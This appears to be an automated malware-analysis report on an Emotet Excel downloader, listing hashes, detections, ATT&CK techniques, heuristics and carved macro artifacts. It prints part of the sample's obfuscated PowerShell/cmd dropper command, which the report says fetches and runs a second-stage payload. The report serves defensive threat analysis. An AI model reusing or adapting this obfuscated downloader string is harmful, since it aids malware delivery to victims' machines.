Emotet Office (OOXML) / .XLSX malware analysis — malicious · d3b0270aebe279fc

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 92c4486982c63de9bef4b412d7b8e572 SHA-1: 943c697c1da26e5831e099b1ef7514ed0d95bdce SHA-256: d3b0270aebe279fc91db5d540b49964ad9944a70edf8ed93acea89791ea8c643

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1566.002 Spearphishing Attachment T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Xls.Downloader.EmotetExcel02223-9938902-0. The presence of a Workbook_Open macro and CreateObject calls indicates malicious intent. The document body contains obfuscated PowerShell commands that attempt to download and execute a batch file from multiple URLs. The reconstructed PowerShell command is: 'hell -e&echo FGsrtghskeh4hirugh sgekg5kjgrkyhdlfighx7dGUTDRYUFu6r7yfugHJGJFKgjhkoi87jhgkjkj&start/B /WAIT %ertEWRt4%%cvFHDErte75s%%oifYdFGhse34sd%%wreDgdSdytDFf%%jDFtHxdrgszegh%%AegFhtXfg4f%%BXdgrtysews34yu%&echo CGFhjCDFthjufcjftT46r hsbgr4jehgdfgDRHdRHdrt4ydds rtg4jth dir&echo etjlwejdfsgdsrYHDShD46dsrtydfghrg sdfgsdGDs46sdfHZSdgSwryoi&SET ertEWRt4=po&echo fkj3h5tidxhdfgokihJFjxxdsd4ghkxfghxd ghkw gfkjbgekedfghYdhjFxdf&SET cvFHDErte75s=wers&echo GJDrft678dYjdfGhSbgs5y7dfghGgEqwghcfghcghndt5tyuoghgh&SET oifYdFGhse34sd=hell -e&echo YertyDSrfGfHFTGUfHdghDfHxdgW4ehfgh78dfHDRgdsFhdfghdFBGDFnnctfGuiyfiJUCFdHdrGdhf'. This script is designed to download and execute a second-stage payload.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `2afc71f2e31ee657ac7a2305c83d15b1a826846c67d565cf7d6e7783ab646c22`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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